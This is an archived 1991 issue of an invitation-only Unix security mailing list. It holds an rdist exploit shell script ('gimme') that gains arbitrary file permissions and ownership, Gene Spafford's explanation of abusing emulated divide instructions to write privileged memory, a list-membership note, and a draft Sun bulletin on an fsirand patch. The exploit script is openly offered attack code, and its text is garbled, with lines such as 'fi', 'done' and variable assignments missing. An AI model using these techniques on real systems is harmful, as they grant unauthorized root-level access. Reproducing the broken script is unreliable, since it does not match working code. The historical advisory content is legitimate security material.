The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #22 1991-11-12 (1 file, 4826 bytes)
NOTICE: recognises the rights of all third-party works.


Date: Tue Nov 12 13:52:14 PST 1991
Subject: Core Security Digest V1 #22

Core Security Digest Volume 1 Issue 22


            rdist security hole utilization shell script
            Re: Core Security Digest V1 #21
            list membership
            fsirand, headsup for new Sun Security Bulletin (#00112)

The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                              [email protected]
PLEASE SEND REQUESTS TO:             [email protected]


Date: Wed, 2 Oct 1991 20:00:57 -0700
From: [email protected]
Subject: rdist security hole utilization shell script

#! /bin/sh
# GIMME - "gimme' a file"
# Demonstrate rdist's ability to give me permission to access anything.
# gimme <pathname> [<permission> [<directory>]]
#	<pathname> is the target file.
#	<permission> is the octal mode to which the file access permission
#		should be set.  Note that this may not be effective unless
#		either the SUID (4000) or SGID (2000) bits are also requested.
#	<directory> is the target directory for rdist to use if a hard
#		link is desired.  Note that the user must have permission
#		to create this directory, it must be on the same filesystem
#		as the target file, and the target file must not be a
#		directory.  This option is necessary to change the ownership
#		of the target if chown() of a symbolic link modifies the
#		link itself, and not the file it refers to.
# 1991.9.14 -	Tsutomu Shimomura, Los Alamos National Laboratory
#		[email protected]


if [ $1x = x ]; then
	echo "Usage: $0 <pathname> [<permission> [<directory>]]" >&2
	exit 1

if [ $2x != x ]; then

if [ $3x != x ]; then
	link="ln -s"
	case $1 in

trap "rm -fr $temp; exit 1"  1 2 15
umask 66
mkdir $temp; if [ $? != 0 ]; then
	exit 1

set `whoami` $LOGNAME
set daemon `groups`
while [ $# != 1 ]; do

	echo "t$temp/something"
	echo "R0 $perm 1 0 $user $group "

	while [ ! -f $temp/rdist* ]; do
		sleep 1

	set $temp/rdist*
	rm -f $1
	if $link $target $1 >&2; then
		echo "" | dd bs=3 conv=sync 2>/dev/null
		echo ""

		echo 0 > $temp/status
		echo 1 > $temp/status

) | rdist -Server

status=`cat $temp/status`
rm -fr $temp
exit $status


Date: Sun, 06 Oct 91 12:55:16 EST
From: Gene Spafford <[email protected]>
Subject: Re: Core Security Digest V1 #21

Regarding the integer division problem.

It's not that difficult to comprehend.  Just set up a divide
instruction, and set it so the remainder is to be stored in any
arbitrary address you want (you have to do this in assembler, although
the % operator in C may let you do this...I dunno).

Then divide appropriately chosen numbers.  The instruction traps, the
divide is emulated, the results are stored *in privileged mode* and
control is passed back to the user.  No problems!  However, the
address specified for the remainder may not be in the user's memory

Appropriate choice of values to be stored and locations to be stored
into result in all sorts of fun results.

I think this problem can be traced back (partially) to RISC
architectures....all CISC machines tend to do this kind of thing in
the hardware and permissions are checked accordingly.  On a RISC that
has so little in hardware, it has to be emulated.  The key problem is
that the emulation code should run *in the mode of the caller* and not
in kernel mode.  The fix inserts a permissions check instead of
setting user mode.  I suspect this is because a change to caller mode
would make the return from trap much more complicated, and would
undoubtedly be slower -- marketing would never approve.

Two questions arise:
1) How many other emulated instructions have similar faulty logic in
them, on Suns and other machines? (MIPS and i860 come to mind as
potential problem cpus)
2) How many other lurking problems are there because the vendor paid
more concern for speed in the emulation rather than security/safety?

PS.  This is not to imply any particular motiviation on the part of
Sun, nor does it imply that Sun is any worse (or better) than any
other vendor.


Date: Mon, 7 Oct 91 14:07:38 PDT
From: neil (Neil Gorsuch)
Subject: list membership

[ There are currently 37 people on the core list.  I will probably
hold it to under 50 no matter what, so now is a good time to recomend
to me to have someone added if you have anyone in mind 8-).  List
membership is decided by me, and is not presented out to the world in
any way (except in the From: portions of postings, and in some cases,
they are modified by me at the poster's request).  For someone to be
added to the list, they have to be one of the following:

1. a representative of a major computer hardware/operating system vendor

2. a few special cases such as cert and some government installations

3. people that I know personally

4. someone personally recomended by someone I know personally

Except for groups 1 and 2, and some other special cases, anyone on the
list will have to contribute on some kind of regular basis, or they
will be bumped off the list.  Please notice that managers of major
networks/systems are probably NOT eligable for membership.  Although
they would probably benefit from list membership, there are just too
many deserving sites that would have to be included.  On the other
hand, if they are someone who will actually be contributing
information of new security holes, they should certainly be part of
the core list.  There are a lot of major systems/networks out there
that really should be on the list, but if I started adding them all,
the list would almost certainly be compromised.  There are just too
many systems being broken into, and too many mail spools being
scanned/grepped for me to start adding everyone that really should be
on the list.  I talked to a "cracker" not too many months ago, and he
said that although the cracker groups knew of the core list, and even
knew it's name, they still haven't gotten any copies of it.  And I
want to keep it that way.   8-)   neil ]


Date: Mon, 11 Nov 91 16:19:49 PST
From: [email protected] (Kenneth Pon)
Subject: fsirand, headsup for new Sun Security Bulletin (#00112)

Good day.  This is a draft bulletin that will go out to the Sun Microsystems
Security Alert alias in the near future.  Please send any comments to
me at [email protected]  Regards,


This information is only to be used for the purpose of alerting
customers to problems.  Any other use or re-broadcast of this
information without the express written consent of Sun Microsystems
shall be prohibited.

Sun expressly disclaims all liability for any misuse of this information
by any third party.

   All patches listed are available through your local Sun answer centers
   worldwide as well as through anonymous ftp to
   In the US on ~ftp/sun-dist directory and in Europe on
   on ~ftp/sun/fixes directory.

Please refer to the BugID and PatchID when requesting patches from Sun
answer centers.

Please refer to the information below for additional information.

Sun Bug ID  : 1063470
Synopsis    : SunOS 4.1.1 fsirand (random number generator) program could
              potentially allow the guessing of NFS file handles.  The
              patched version of fsirand has been enhanced to provide
              greater randomness to the random number generator's seed.
Sun Patch ID: 100424-01
Checksum of compressed tarfile 100424-01.tar.Z on = 63070    50

This patch should only be applied in conjunction with the latest version of
the NFS jumbo patch, currently 100173-07 for SunOS 4.1.1.  The NFS jumbo
patch must be applied before the fsirand patch.  NFS jumbo and fsirand patches
are being developed and tested for SunOS 4.0.3 and 4.1.  An announcement
will be made when these patches are available.

In order to maintain a level of minimum security requirements on your Sun
gateway systems, please note the suggestions that follow.  Users may also
wish to follow the advice given below for their other file servers that may
be connected to potentially untrusted machines over a network.

Sun recommends that you upgrade your version of SunOS to the most recent
available (currently SunOS 4.1.1), since many improvements to the security
of your system have been integrated into the most recent base operating system.
In addition, you should install all security related patches applicable to
your current version of SunOS.

Sun suggests that you apply this patch and the NFS jumbo patch to your server
if it is a gateway machine or if it exports critical file systems and is
accessible across a potentially untrusted network (e.g. the Internet).  Please
refer to the README of patch 100424-01 for additional details.  The fsirand
fixes have been incorporated into SYS_V Rel 4.

After applying this patch, /usr/etc/fsirand (see man page fsirand(8)) should
be run on all potentially exportable partitions.  Follow this with a system
reboot to complete the installation of random inode generation numbers.

Gateway machines should also apply Patch-ID# 100296-02, which fixes the
mountd problem that allows an unprivileged client to take advantage of
character strings in /etc/hosts and /etc/netgroup that are equal to or
greater than 256.

It is also strongly advised that /etc/exports (exports(5)) files on servers
be examined and modified, if necessary, to permit only the level of file
sharing that is necessary.  The exports(5) file allows an administrator to
limit the access (and type of access) of exported directories to specific
client machines.  For example, a directory can be exported read-only and root
access can be granted to a specified set of clients only.

Sun would like to thank Hans van Staveren, Leendert van Doorn, and Gene
Spafford for bringing this problem to our attention.


        End of Core Security Digest Volume 1 Issue 22